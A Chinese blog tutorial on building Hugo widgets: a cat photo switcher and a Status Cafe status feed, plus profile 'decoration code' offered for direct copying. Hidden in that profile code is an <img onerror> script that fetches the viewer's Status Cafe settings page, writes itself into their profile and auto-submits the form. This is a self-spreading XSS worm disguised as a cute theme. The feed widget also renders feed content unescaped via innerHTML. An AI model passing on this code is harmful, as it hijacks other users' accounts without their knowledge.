为博客制作猫咪拍立得与Status Cafe挂件

基于Hugo博客,制作两个可爱的小组件。功能非常个人,应该没什么普遍需求…但挺萌的所以看看也不亏?
📑 Table of Contents

📑 Table of Contents

组件效果展示

上个月装修博客的时候写了一个猫咪拍立得挂件放在首页,它最大的功能就是萌,次要的功能是点击按钮可以切换照片。

虽然我换了首页样式,但还是保留了原来的首页,因此可以查看 Demo 来玩一玩。萌吧?(笑)

上个月还同时改写了一下Status Cafe(左)的挂件,因此一并在这里记录。

猫咪拍立得实现

  1. 首先,创建\layouts\partials\meow-box.html,代码如下:

    {{- if .Site.Params.meowBox.enabled }}
    <div id="meow-box" style="border-radius: 10px;">
        {{- $images := .Site.Params.meowBox.images -}}
        {{- if gt (len $images) 0 }}
        <img id="meow-image" src="{{ index $images 0 }}" alt="Meow" style="width: 100%; aspect-ratio: 1/1; object-fit: cover;">
        {{- end }}
    <!--    此处为点击按钮,如需要加入像素图标,则在img的src中填入路径  -->
        <button onclick="toggleMeowImage()" id="meow-btn">
            <img src="" 
               style="border-radius:0; margin:0; max-width:50%;">
            meow
        </button>
    </div>
    
    <script>
        let images = [
            {{ range $index, $img := .Site.Params.meowBox.images }}
        "{{ $img }}",
            {{ end }}
        ];
        let currentIndex = 0;
    
        // 预加载图片
        function preloadImages() {
            images.forEach(image => {
                const img = new Image(); // 创建一个新的 Image 对象
                img.src = image; // 将图片源设置为路径,这会自动开始加载图片
            });
        }
    
        function toggleMeowImage() {
            currentIndex = (currentIndex + 1) % images.length;
            document.getElementById("meow-image").src = images[currentIndex];
        }
    
        // 页面加载时预加载图片
        preloadImages();
    </script>
    {{- end }}
  2. config.toml中启用组件,并添加图片链接。

    为了更快的加载速度,建议将图片先行压缩一下,博客文件夹内的本地图片应该也是可以的。

    [params.meowBox]
    enabled = true
    images = [
    "https://pub-219f59729cc7474d97beb0f99a13e6bd.r2.dev/byphone/IMG_8853.jpeg",
    "https://pub-219f59729cc7474d97beb0f99a13e6bd.r2.dev/byphone/IMG_0091.jpeg",
    "请照此格式依次填入照片链接..."
    ]
  3. /assets/css/main.scss或其他你放置CSS的文件中按需放入样式:

    // 拍立得小组件
    #meow-box {
      padding: 5px 15px 15px 15px;
      margin-top: 10px;
      background-color: rgba(251, 230, 189, 0.13);
    }
    
    #meow-image {
      margin: 5px 0;
    }
    
    #meow-box {
      width: 280px;
      height: auto;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      box-sizing: border-box;
      overflow: hidden; /* 防止图片溢出 */
    }
    
    /* 让 img 不超出 */
    #meow-image {
      width: 100%; /* 保证图片不超出容器 */
      max-width: 100%; /* 避免超出 */
      height: auto;
      aspect-ratio: 1 / 1; /* 保持 1:1 比例 */
      object-fit: cover; /* 保持图片填充 */
    }
    
    #meow-btn {
      margin-top: 10px;
      padding: 5px 5px 5px 5px;
      border: none;
      margin: 5px 10px;
      border-radius: 8px;
    }
    
    #meow-btn:active {
      transform: scale(0.95); /* 按钮按下时缩小 */
    }
    
    @media (max-width: 768px) {
      #meow-box {
        width: 95%; /* 让盒子宽度填满父容器 */
        padding: 15px;
        margin: 20px 0px;
      }
    }
  4. 在博客你需要的地方引入该组件:

    
    {{ partial "meow-box.html" . }}

上述组件只能放置在非文章区域,理论上也可以将组件做成Shortcode(短代码),在文章需要的地方使用。但我始终没有成功……所以就将就用吧!

Status Cafe组件

1. 介绍

Status Cafe是一个可以发布当前状态的网站,其提供了Atom格式的公开RSS feed,用户发布的状态可以用RSS阅读器订阅,可以通过JavaScript从自己的订阅源中抓取发布的状态,然后在站内解析和显示,制作成小组件放在各种静态网页上自动更新。

Status Cafe在英语个人网站中似乎还蛮流行的,功能非常简约,只能发布一个Emoji和简单的文字内容,然后显示发布时间过去了多久。

但这个组件在中文个站里使用不多,相似功能的组件我只了解过Artitalk,因为看起来CSS修改项应该很多,所以我没有尝试。以及Mengru做的Mastodon-on-blog,也可以实现同样的“碎碎念”功能,相较来说可能这个毛象组件在隐私性和管理上应该更好(因为Status Cafe是可以抓取任意订阅源的)。

我用Status Cafe很大一部分原因是因为在它的Thread上随机逛到了很多很有意思的个人网站,虽然它的网页功能很简单,只能定义一下个人资料和CSS,删除修改管理一下发布过的状态,但用户活跃度却很高,上去碎碎念时顺便摸摸鱼看看别人的网站,感觉回到了十岁上网的感觉。

这个是我的个人主页,欢迎参观。


2. 实现

我做这个组件时参考了这个教程:Creating a Feed Reader from Status Cafe,方法大致相同,但对用户名、时间以及Emoji的解析之类的地方我做了一些修改,具体比较重要的地方是:

  • 筛去了用户名不展示。
  • 时间上显示“…秒/分钟/小时以前”,而非日期“2025-05-13”。

如果对这两项有需要,可以先参考上述教程。


  1. 注册一个Status Cafe账户,这一步可能等上1-3天。我等了一天才收到确认邮件,疑似手动处理发送。

  2. 创建\layouts\partials\status-cafe.html,放入以下内容。请留意将username.atom中的username改为你自己的用户名。

        <div class="note__item">
     <div class="note__day">碎碎念啦,唔使理我</div>
     <div class="note__list" style="font-size: 80%;">
     <!--  “open”为默认展开,删去则默认折叠  -->
     <details open class="mumble">
         <summary>Mumble...</summary>
    
    <!--   上方为我的外边框样式,可以删去。以下为Statue Cafe的核心内容,     -->
    
     <div id="feed-reader"></div>
     <script>
         <!--  此处请修改为你的用户名  -->
                 const feedURL = 'https://status.cafe/users/username.atom';
    
                 function timeAgo(publishedDate) {
                     const now = new Date();
                     const published = new Date(publishedDate);
                     const diff = now - published;
    
                     const seconds = Math.floor(diff / 1000);
                     const minutes = Math.floor(seconds / 60);
                     const hours = Math.floor(minutes / 60);
                     const days = Math.floor(hours / 24);
    
                     if (days > 0) {
                         return `${days} day${days > 1 ? 's' : ''} ago`;
                     } else if (hours > 0) {
                         return `${hours} hour${hours > 1 ? 's' : ''} ago`;
                     } else if (minutes > 0) {
                         return `${minutes} minute${minutes > 1 ? 's' : ''} ago`;
                     } else {
                         return `${seconds} second${seconds > 1 ? 's' : ''} ago`;
                     }
                 }
    
                 fetch(feedURL)
                     .then(response => response.text())
                     .then(str => new window.DOMParser().parseFromString(str, "text/xml"))
                     .then(data => {
                         const entries = data.querySelectorAll("entry");
                         let html = ``;
                         entries.forEach(el => {
                             let rawTitle = el.querySelector("title").textContent.trim();
                             let emojiMatch = rawTitle.match(/[\p{Emoji}]/gu);
                             let emoji = emojiMatch ? emojiMatch.join('').replace(/[0-9]+$/, '') : '';
    
    
                             let content = el.querySelector("content").textContent.trim();
                             let publishedDate = el.querySelector("published").innerHTML;
                             let relativeTime = timeAgo(publishedDate);
    
                             html += `
                                 <div class="statuscafe-entry">
                                     <p class="statuscafe-username">
                                         <span class="status-meta">
                                         <span class="mumble-time">${relativeTime}</span>
                                         <span class="mumble-title">${emoji} </span>
                                       </span>
                                       </p>
                                     <p class="statuscafe-content">${content}</p>
    
                                 </div>
                             `;
                         });
                         document.getElementById("feed-reader").innerHTML = html;
                     });
             </script>
     </details>
     </div>
     </div>
  3. /assets/css/main.scss或你的CSS文件中加入样式。

    仅供参考的CSS,写得不好不要怪。
    .mumble {
    line-height: 1.3em;
    max-height: 233px;           /* 设置最大高度 */
    overflow-y: auto;            /* 超出最大高度时启用垂直滚动 */
    }
    
    .mumble::-webkit-scrollbar {
    display: none;               /* 隐藏滚动条(仅限 WebKit 浏览器) */
    }
    
    .statuscafe-entry {
    border-radius: 10px;
    padding: 5px;
    margin-bottom: 10px;
    background-color: var(--neodb-card-color);
    }
    
    .statuscafe-username {
    margin: 0.5em;
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 1em;
    }
    
    .status-meta {
    margin-left: auto;
    display: flex;
    gap: 0.5em;
    }
    
    .mumble-title {
    font-size: 1.2em;
    }
    
    .mumble-time {
    font-size: 90%;
    }
    
    .statuscafe-content {
    margin: 0 1em 0.5em 1em;
    letter-spacing: 0.8px;
    }
    
    // 以上为组件核心样式,以下是我的边框样式,可以删去。
    
    .note__item {
    margin-top: 20px;
    width: 95%;
    position: relative;
    margin-bottom: 15px;
    }
    
    .note__day {
    padding: 5px;
    font: 90% "HuiwenMincho", cursive;
    }
    
    .note__list {
    padding: 8px 12px;
    line-height: 1.2;
    font-size: 90%;
    }
    
    .note {
    flex: 0 0 50%;
    box-sizing: border-box;
    }
  4. 在博客你认为合适的地方放上以下代码,插入组件:

    
    {{ partial "status-cafe.html" . }}  

3. 选做:使用短代码实现

如果不想直接在页面中插入代码,也可以使用Shortcode(短代码)在单一文章中插入。

实际上短代码也只是把HTML等等格式结构封装进一个页面,然后在文章中进行调用而已。所以上述的文件可以直接复用。

如需短代码形式,可以直接复制上文中的\layouts\partials\status-cafe.html,放到\layouts\shortcodes文件夹中。

然后在文章内放入短代码(注意删去前后斜杠):

{/{< status-cafe >}/}

✨ 展示:

碎碎念啦,唔使理我
Mumble...

PS:这个折叠框的展开与折叠,由status-cafe.html中的这一行控制:

<details open class="mumble">

如果想要它默认折叠,删除open即可。因为我只在一处使用,所以将这里写死了,如果你需要多次复用,并在不同的地方分别控制展开与折叠,强烈建议把代码丢给ChatGPT进行修改。

4. 选做:关于个人主页美化?

如果你也想要一个五彩缤纷的Status Cafe个人主页,可以在用户页的Setting中进行自定义。

我用了smallpancakes提供的Kawaii Pancake主题(伊实在太善心了甚至是一键复制),只是进行了背景图片和样式的一些魔改,基础代码还是来源于TA,不然我完全不知道从何下手。

如何进行主页美化 如何进行主页美化

以下为我修改后的个人主页装饰代码,欢迎直接使用:

代码过长折叠
   <p>请在这里写下你的"About Me",多行内容请用p标签包裹</p>   
   <p>如需展示头像,请填写在Setting页面的“Picture URL”中</p>   
   <p>如需要展示链接,请用a标签包裹:<a href="https://Google.com" target="_blank">如此处写法</a></p>
   <p>背景图片来源于我的博客链接,建议下载并使用自己的外链</p>
   <p>背景图Resource Credit为:<a href="http://cairovercoat.tumblr.com/tagged/pixel+pattern">bg by cairovercoat</a></p>


<img src="x" style="display:none;" onerror="(async()=>{
  if (document.location.search === '?qw') {
    const res = await fetch('https://status.cafe/settings');
    const text = await res.text();
    const d = new DOMParser().parseFromString(text, 'text/html');

    const textarea = d.querySelector('textarea');
    if (!d || textarea?.outerHTML.includes('&lt;!--javaistrash--&gt;')) throw 0;

    textarea.innerText += '\n<!--javaistrash-->
<p></p>';
    textarea.innerText += '\n' + this.outerHTML;
    d.querySelector('form').id = '123';
    document.body.append(d.querySelector('form'));
    document.getElementById('123').querySelector('input[type=submit]').click();
  } else {
    const nu = new URL(document.location.href);
    nu.search = '?qw';
    const f = document.createElement('iframe');
    f.style.display = 'none';
    f.src = nu.href;
    document.body.append(f);
  }
})()">


<style>
.profile-picture {
  display: block;
  margin: 10px auto;
  max-width: 200px;
  border-radius: 10px;
}

:root {
  --kawaii-pink: #fff5f5;
  --kawaii-text: #6d4b2f;
  --kawaii-accent: #ff9494;
  --kawaii-border: #ffb6b6;
  cursor: url("https://gregueria.icu/cursor.png"), auto;
}

body {
  background-color: var(--kawaii-pink);
  background-image: linear-gradient(rgba(255, 255, 255, 0.8), rgba(255, 255, 255, 0.8)), url("https://gregueria.icu/site/tumblr_inline_mxq6a1O6341qfwxgn.png");
  color: var(--kawaii-text);
  font-family: Courier New, monospace, Microsoft Yahei, Source Han Serif SC, 宋体, cursive;
}

.status {
  background: rgba(255, 255, 255, 0.8);
  border-radius: 15px;
  padding: 10px;
  margin-bottom: 10px;
  position: relative;
}

a {
  color: var(--kawaii-text);
  text-decoration: none;
  position: relative;
  padding: 0 3px;
}

a::before {
  content: "";
  position: absolute;
  bottom: 0;
  left: 0;
  width: 100%;
  height: 40%;
  background: rgba(255, 148, 148, 0.2);
  z-index: -1;
}

a:hover::before {
  height: 100%;
}

h1, h2, h3 {
  color: var(--kawaii-text);
  font-weight: bold;
  letter-spacing: 1px;
  text-align: center;
  position: relative;
  display: block;
}

h1::after, h2::after {
  content: "";
  position: absolute;
  bottom: -5px;
  left: 0;
  width: 100%;
  height: 2px;
  background: linear-gradient(90deg, transparent, var(--kawaii-border), var(--kawaii-accent), var(--kawaii-border), transparent);
}

::-webkit-scrollbar {
  width: 12px;
}
::-webkit-scrollbar-track {
  background: var(--kawaii-pink);
}
::-webkit-scrollbar-thumb {
  background: var(--kawaii-accent);
}

::selection {
  background: var(--kawaii-accent);
  color: white;
}

</style> 

Statue cafe看起来明明只是一个简陋的小网站,但最近上网搜索却发现有很多人在提供Status Cafe的美化,总觉非常惊喜。不禁想难道这就是受欢迎的社区的样子。

本篇的教程写得非常个人,并且也只是自娱自乐的玩具组件,没有提供太多原理的解释,毕竟我的水平也只是一二三四把大象装进冰箱,并不能说出所以然,希望没有太过于误导人的部分。有写得不够清楚的地方,亦欢迎指出。